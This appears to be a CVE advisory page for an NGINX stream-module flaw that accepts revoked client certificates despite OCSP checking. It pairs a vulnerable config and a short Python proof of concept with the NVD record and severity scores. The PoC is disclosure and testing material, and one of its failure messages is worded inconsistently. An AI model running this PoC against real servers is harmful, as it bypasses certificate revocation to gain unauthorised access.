CVE-2026-28755

# Nginx Vulnerable Configuration Example stream { server { listen 1337 ssl; ssl_certificate /etc/nginx/certs/server.crt; ssl_certificate_key /etc/nginx/certs/server.key; ssl_verify_client on; ssl_ocsp on; ssl_client_certificate /etc/nginx/certs/ca.crt; # Vulnerability: Handshake succeeds even if OCSP returns REVOKED } } # PoC Test Logic (Python) import socket import ssl # Attacker holds a certificate that has been REVOKED by the CA context = ssl.create_default_context() context.load_cert_chain(certfile="revoked_client.crt", keyfile="revoked_client.key") context.check_hostname = False try: with socket.create_connection(("target_ip", 1337)) as sock: with context.wrap_socket(sock, server_hostname="target") as ssock: print("[+] Connection Established!") print("[+] Vulnerability Exploited: Server accepted a revoked certificate.") except ssl.SSLCertVerificationError: print("[-] Connection Failed: Certificate verification succeeded (expected behavior).") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-28755", "sourceIdentifier": "[email protected]", "published": "2026-03-24T15:16:33.773", "lastModified": "2026-03-26T14:09:37.177", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NGINX Plus and NGINX Open Source have a vulnerability in the ngx_stream_ssl_module module due to the improper handling of revoked certificates when configured with the ssl_verify_client on and ssl_ocsp on directives, allowing the TLS handshake to succeed even after an OCSP check identifies the certificate as revoked.   \n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}, {"lang": "es", "value": "NGINX Plus y NGINX Open Source tienen una vulnerabilidad en el módulo ngx_stream_ssl_module debido al manejo inadecuado de certificados revocados cuando se configura con las directivas ssl_verify_client on y ssl_ocsp on, permitiendo que el handshake TLS tenga éxito incluso después de que una verificación OCSP identifique el certificado como revocado.\n\nNota: Las versiones de software que han alcanzado el Fin de Soporte Técnico (EoTS) no son evaluadas."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", 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